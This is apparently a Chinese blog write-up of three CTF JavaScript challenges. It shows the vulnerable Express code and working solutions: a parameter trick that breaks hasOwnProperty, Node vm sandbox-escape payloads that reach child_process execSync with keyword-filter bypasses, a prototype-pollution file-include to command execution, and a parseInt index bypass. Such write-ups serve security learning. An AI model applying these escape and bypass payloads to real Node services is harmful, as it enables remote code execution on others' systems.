几道JS题
参考文章
2024VCTF 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 const express = require ('express' )const fs = require ('fs' )var bodyParser = require ('body-parser' );const app = express () app.use (bodyParser.urlencoded ({ extended : true })); app.use (bodyParser.json ()); app.post ('/plz' , (req, res ) => { venom = req.body .venom if (Object .keys (venom).length < 3 && venom.welcome == 159753 ) { try { if (venom.hasOwnProperty ("text" )){ res.send (venom.text ) }else { res.send ("no text detected" ) } } catch { if (venom.text =="flag" ) { let flag=fs.readFileSync ("/flag" ); res.send ("Congratulations:" +flag); } else { res.end ("Nothing here!" ) } } } else { res.end ("happy game" ); } }) app.get ('/' ,function (req, res, next ) { res.send ('<title>oldjs</title><a>Hack me plz</a><br><form action="/plz" method="POST">text:<input type="text" name="venom[text]" value="ezjs"><input type="submit" value="Hack"></form> ' ); }); app.listen (80 , () => { console .log (`listening at port 80` ) })
限制了venom对象的属性个数少于3,并且welcome属性是否等于159753。想拿flag还需venom.text==”flag”的同时抛出一个异常。
属性个数可以利用原型链污染绕过,接下来考虑如何令venom.hasOwnProperty(“text”)抛出异常:
venom[hasOwnProperty]=Jay17:这部分将venom对象的hasOwnProperty属性设置为1。正常情况下,hasOwnProperty是一个继承自Object.prototype的方法,用于检查对象是否拥有特定的自有属性。通过将它设置为一个字符串,venom.hasOwnProperty(“text”)的调用将会失败,因为hasOwnProperty已不再是一个函数。所以进入catch块
payload:
1 venom=159753&venom=flag&venom=1
NKCTF 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 const express = require ('express' );const bodyParser = require ('body-parser' );const app = express ();const fs = require ("fs" );const path = require ('path' );const vm = require ("vm" ); app .use (bodyParser.json ()) .set ('views' , path.join (__dirname, 'views' )) .use (express.static (path.join (__dirname, '/public' ))) app.get ('/' , function (req, res ){ res.sendFile (__dirname + '/public/home.html' ); })function waf (code ) { let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g ; if (code.match (pattern)){ throw new Error ("what can I say? hacker out!!" ); } } app.post ('/' , function (req, res ){ let code = req.body .code ; let sandbox = Object .create (null ); let context = vm.createContext (sandbox); try { waf (code) let result = vm.runInContext (code, context); console .log (result); } catch (e){ console .log (e.message ); require ('./hack' ); } }) app.get ('/secret' , function (req, res ){ if (process.__filename == null ) { let content = fs.readFileSync (__filename, "utf-8" ); return res.send (content); } else { let content = fs.readFileSync (process.__filename , "utf-8" ); return res.send (content); } }) app.listen (3000 , ()=> { console .log ("listen on 3000" ); })
沙箱逃逸
简单说就是获取一个沙箱外的对象然后调用constructor
属性进而执行命令。这题是vm
不涉及vm2
沙箱逃逸。
/
路由存在Runincontext
(注意Object.create(null)
,相当于没有this关键字。但根据上面的文章我们知道还可以利用arguments.callee.caller
返回沙箱外的一个对象)。可以在沙箱中执行经过waf
检测后的代码:
1 2 3 4 5 6 function waf (code ) { let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g ; if (code.match (pattern)){ throw new Error ("what can I say? hacker out!!" ); } }
没有可以用来进行恶意重写的函数(用Proxy
来劫持属性)
先写个如果没有waf的EXP:
1 2 3 4 5 6 7 8 9 ` throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('ls').toString(); } }) ` ;
但注意这里process和exec
被过滤了,当时想了很久要怎么绕过,看了这篇文章(但是当时不知道怎么套进去):
js绕过
网上看的其它师傅的写法:
1 2 3 4 5 6 7 8 9 throw new Proxy ({}, { get : function ( ){ const cc = arguments .callee .caller ; const p = (cc.constructor .constructor ('return procBess' .replace('B' ,'' ) ))(); const obj = p.mainModule .require ('child_procBess' .replace ('B' ,'' )); const ex = Object .getOwnPropertyDescriptor (obj, 'exeicSync' .replace ('i' ,'' )); return ex.value ('whoami' ).toString (); } })
还有其它方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 throw new Proxy ({}, { get : function ( ){ const cc = arguments .callee .caller ; const aa = 'return Process' .toLowerCase (); const bb = 'child_pRocess' .toLowerCase (); const p = (cc.constructor .constructor (aa ))().mainModule .require (bb); return Reflect .get (Reflect .get (p, Reflect .ownKeys (p).find (x => x.startsWith ('ex' )))('ls' )); } })
还有其它解法:参考文章
js
这种语言太灵活了
唉,学
官方wp
:(原型链污染+沙箱逃逸):
首先process.__filename
这东西存在原型链污染(和沙箱逃逸配合):
1 2 3 4 5 6 7 8 9 10 11 12 throw new Proxy ({}, { get : function ( ){ const cc = arguments .callee .caller ; cc.__proto__ .__proto__ .__filename = "/app/hack.js" ; } }) console .log ('shell.js' );console .log ("shell" );const p = require ('child_process' ); p.execSync (process.env .command );
然后就是一个[require任意文件包含](Node.js require () RCE 复现 | Jiekang Hu’s Blog (hujiekang.top) )
[GFCTF2024]cool_index 贴些关键代码,主要逻辑就是注册时输入用户名和注册码,后端会进行校验,如果注册码等于特定值就会给premium
身份,否则就是guest
身份。premium
用户能看flag
贴些关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 app.post ("/register" , (req, res ) => { const { username, voucher } = req.body ; if (typeof username === "string" && (!voucher || typeof voucher === "string" )) { const subscription = (voucher === FLAG + JWT_SECRET ? "premium" : "guest" ); if (voucher && subscription === "guest" ) { return res.status (400 ).json ({ message : "邀请码无效" }); } const userToken = jwt.sign ({ username, subscription }, JWT_SECRET , { expiresIn : "1d" , }); res.cookie ("token" , userToken, { httpOnly : true }); return res.json ({ message : "注册成功" , subscription }); } return res.status (400 ).json ({ message : "用户名或邀请码无效" }); }); app.post ("/article" , (req, res ) => { const token = req.cookies .token ; if (token) { try { const decoded = jwt.verify (token, JWT_SECRET ); let index = req.body .index ; if (req.body .index < 0 ) { return res.status (400 ).json ({ message : "你知道我要说什么" }); } if (decoded.subscription !== "premium" && index >= 7 ) { return res .status (403 ) .json ({ message : "订阅高级会员以解锁" }); } index = parseInt (index); if (Number .isNaN (index) || index > articles.length - 1 ) { return res.status (400 ).json ({ message : "你知道我要说什么" }); } return res.json (articles[index]); } catch (error) { res.clearCookie ("token" ); return res.status (403 ).json ({ message : "重新登录罢" }); } } else { return res.status (403 ).json ({ message : "未登录" }); }
premium
判断逻辑:
1 voucher === FLAG + JWT_SECRET
这个感觉没啥利用点,如果我都知道FLAG了还去弄它干啥。。猜测是某种方式读JWT_SECRET
然后进行伪造。
后面看了wp
,这里直接传{"index":"7+1"}
就行。。唉
这么传可以绕过第一个if
的判断:
1 2 3 4 5 6 7 index = "7+1" ;if (index >= 7 ) { console .log ("大于或等于7!!" ) } index = parseInt (index);console .log (index)
然后会进第二个if
,满足index
不大于7
,输出flag
。
后面看了官方wp
,还有其它解法,这里直接复制粘贴了:
原本parseInt()
接收字符串参数并转为整形数据类型,但如果目标是 Node 中的big int
,转换时会造成精度损失,但能绕过正常的大小比较。
在 Node.js 中,BigInt
是一种数据类型,用于表示大整数,即超出 JavaScript 原生 Number
类型范围的整数值。JavaScript 中的普通 Number
类型有一个有限的范围,超出这个范围的整数值无法精确表示,会导致精度丢失或溢出。
BigInt
类型通过在整数值后面添加 n
后缀来表示,例如 1234567890123456789012345678901234567890n
。它允许表示的整数范围比 Number
类型更大,因此在需要处理非常大的整数时非常有用。
或者:数字分隔符也可以绕过大小比较。